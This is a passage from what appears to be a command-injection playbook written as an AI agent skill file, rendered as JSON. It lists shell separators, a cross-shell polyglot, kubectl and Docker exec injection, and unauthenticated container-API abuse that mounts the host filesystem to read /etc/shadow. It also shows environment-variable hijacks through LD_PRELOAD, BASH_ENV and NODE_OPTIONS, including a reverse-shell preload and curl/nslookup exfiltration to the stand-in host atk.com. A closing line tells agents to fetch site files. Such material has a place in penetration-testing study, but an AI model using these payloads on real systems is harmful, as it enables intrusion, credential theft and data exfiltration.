$(whoami).atk.com","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"cat /etc/passwd","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"cmd.exe","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"timeout /T 5 /NOBREAK","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"nslookup %USERNAME%.atk.com","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"type C:\\Windows\\win.ini","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PowerShell","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Start-Sleep 5","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"nslookup $(whoami).atk.com","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Get-Content C:\\Windows\\win.ini","type":"text","marks":[{"type":"code_inline"}]}]}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Detection-first polyglot","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"text"},"content":[{"text":";sleep${IFS}5;#&timeout /T 5 /NOBREAK&#","type":"text"}]},{"type":"paragraph","content":[{"text":"Works across sh/bash/cmd contexts — one of the separators will fire.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"13. CONTAINER / K8S EXEC INJECTION","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"kubectl exec injection","type":"text"}]},{"type":"paragraph","content":[{"text":"When a web application constructs ","type":"text"},{"text":"kubectl exec","type":"text","marks":[{"type":"code_inline"}]},{"text":" commands with user input:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"text"},"content":[{"text":"# Vulnerable pattern\nkubectl exec $POD_NAME -- /bin/sh -c \"echo $USER_INPUT\"\n\n# Injection via pod name\nPOD_NAME=\"mypod -- /bin/sh -c whoami #\"\n→ kubectl exec mypod -- /bin/sh -c whoami # -- /bin/sh -c \"echo ...\"\n\n# Injection via user input in command\nUSER_INPUT='\"; cat /etc/passwd; echo \"'\n→ kubectl exec pod -- /bin/sh -c \"echo \"\"; cat /etc/passwd; echo \"\"\"","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Docker exec injection","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"text"},"content":[{"text":"# Vulnerable web admin panel\ndocker exec $CONTAINER_NAME $COMMAND\n\n# Injection via container name\nCONTAINER_NAME=\"web_app -u root web_app\"\n→ docker exec web_app -u root web_app $COMMAND (runs as root)\n\n# Injection via command argument\nCOMMAND=\"status; cat /etc/shadow\"\n→ docker exec container /bin/sh -c \"status; cat /etc/shadow\"","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Container runtime API (unauthenticated)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"text"},"content":[{"text":"# Docker socket exposed (2375/2376 or /var/run/docker.sock)\nPOST /containers/create HTTP/1.1\n{\"Image\":\"alpine\",\"Cmd\":[\"/bin/sh\",\"-c\",\"cat /host/etc/shadow\"],\"Binds\":[\"/:/host\"]}\n\n# Then start + exec\nPOST /containers/{id}/start\nPOST /containers/{id}/exec {\"Cmd\":[\"cat\",\"/host/etc/shadow\"]}\n\n# Kubernetes API (6443/8443 unauthenticated)\nPOST /api/v1/namespaces/default/pods/{name}/exec?command=whoami&stdout=true","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Sinks to watch for","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Component","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Injection Vector","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"CI/CD pipeline (Jenkins, GitLab CI)","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Build step parameters, environment variables","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Kubernetes CronJob","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":".spec.containers[].command","type":"text","marks":[{"type":"code_inline"}]},{"text":" from user-defined schedules","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Helm chart values","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"values.yaml","type":"text","marks":[{"type":"code_inline"}]},{"text":" templated into pod specs with ","type":"text"},{"text":"{{ }}","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Container orchestration UI","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\"Run command\" features in Portainer, Rancher, etc.","type":"text"}]}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"14. ENVIRONMENT VARIABLE INJECTION","type":"text"}]},{"type":"paragraph","content":[{"text":"When an application allows setting or influencing environment variables, several variables have ","type":"text"},{"text":"implicit execution","type":"text","marks":[{"type":"strong"}]},{"text":" semantics:","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Linux / Unix","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Variable","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Effect","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Exploitation","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"LD_PRELOAD","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Loaded before any shared library; constructor runs on process start","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"putenv(\"LD_PRELOAD=/tmp/evil.so\"); mail(\"a@b\",\"\",\"\");","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"LD_LIBRARY_PATH","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Overrides library search path","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Place malicious ","type":"text"},{"text":"libc.so.6","type":"text","marks":[{"type":"code_inline"}]},{"text":" in controlled directory","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"BASH_ENV","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Executed when non-interactive bash starts","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"BASH_ENV=/tmp/evil.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" → any ","type":"text"},{"text":"system()","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"popen()","type":"text","marks":[{"type":"code_inline"}]},{"text":" call sources it","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"ENV","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Same as BASH_ENV for POSIX ","type":"text"},{"text":"sh","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"ENV=/tmp/evil.sh","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PROMPT_COMMAND","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Executed before each interactive prompt","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PROMPT_COMMAND=\"curl http://atk.com/$(whoami)\"","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PS1","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Prompt string, supports ","type":"text"},{"text":"$()","type":"text","marks":[{"type":"code_inline"}]},{"text":" expansion in bash","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PS1='$(cat /etc/passwd > /tmp/out) \\$ '","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PYTHONSTARTUP","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Python script executed on interpreter startup","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Inject path to malicious ","type":"text"},{"text":".py","type":"text","marks":[{"type":"code_inline"}]},{"text":" file","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PERL5OPT","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Options passed to every Perl invocation","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PERL5OPT='-Mbase;system(\"id\")'","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"NODE_OPTIONS","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Options passed to every Node.js invocation","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"NODE_OPTIONS='--require /tmp/evil.js'","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"RUBYOPT","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Options for Ruby","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"RUBYOPT='-r/tmp/evil.rb'","type":"text","marks":[{"type":"code_inline"}]}]}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Windows","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Variable","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Effect","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"COMSPEC","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Path to command interpreter; ","type":"text"},{"text":"system()","type":"text","marks":[{"type":"code_inline"}]},{"text":" calls use this","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PATH","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Command resolution order; place malicious binary earlier in path","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PSModulePath","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PowerShell auto-loads modules from these paths","type":"text"}]}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Attack scenarios","type":"text"}]},{"type":"paragraph","content":[{"text":"PHP ","type":"text","marks":[{"type":"strong"}]},{"text":"putenv()","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" + ","type":"text","marks":[{"type":"strong"}]},{"text":"mail()","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"php"},"content":[{"text":"// When putenv() is not disabled and mail() is available:\nputenv(\"LD_PRELOAD=/tmp/evil.so\");\nmail(\"[email protected]\",\"\",\"\",\"\");\n// mail() invokes sendmail → loads evil.so → constructor executes arbitrary code","type":"text"}]},{"type":"paragraph","content":[{"text":"Git hook injection via environment","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# GIT_DIR / GIT_WORK_TREE manipulation\nGIT_DIR=/tmp/evil_repo/.git git status\n# If hooks exist in the controlled repo, they execute","type":"text"}]},{"type":"paragraph","content":[{"text":"Node.js ","type":"text","marks":[{"type":"strong"}]},{"text":"--require","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" injection","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"NODE_OPTIONS=\"--require=/tmp/reverse_shell.js\" node /app/server.js\n# reverse_shell.js is loaded before server.js","type":"text"}]}]},"metadata":{"date":"2026-11-02","name":"cmdi-command-injection","author":"@skillopedia","source":{"stars":2603,"repo_name":"hack-skills","origin_url":"https://github.com/yaklang/hack-skills/blob/HEAD/skills/cmdi-command-injection/SKILL.md","repo_owner":"yaklang","body_sha256":"1f01c44613fb102543ecc5f04ebbb6e7f59174e714df9fa51b4c0b926e45556b","cluster_key":"78fe74e63345433e4c3b2780fc24bc7cf6a3052b2c924c0e2e4aeae404cac541","clean_bundle":{"format":"clean-skill-bundle-v1","source":"yaklang/hack-skills/skills/cmdi-command-injection/SKILL.md","text_bytes":0,"source_commit":"6fbf0bc8d5c71830d62543a308d8744606c43d7c","skills_sh_rank":5465,"attachment_count":0,"text_attachments":0,"attachment_storage":"skill_attachments","binary_attachments":0},"cluster_size":1,"skill_md_path":"skills/cmdi-command-injection/SKILL.md","import_metadata":{"date":"2026-11-02","author":"@skillopedia","version":"v1","category":"security","category_label":"Security"},"exact_dupes_collapsed_into_this":0},"version":"v1","category":"security","import_tag":"skills-sh-top20k-2026-11","description":"Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks."}},"renderedAt":1793665968966}

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.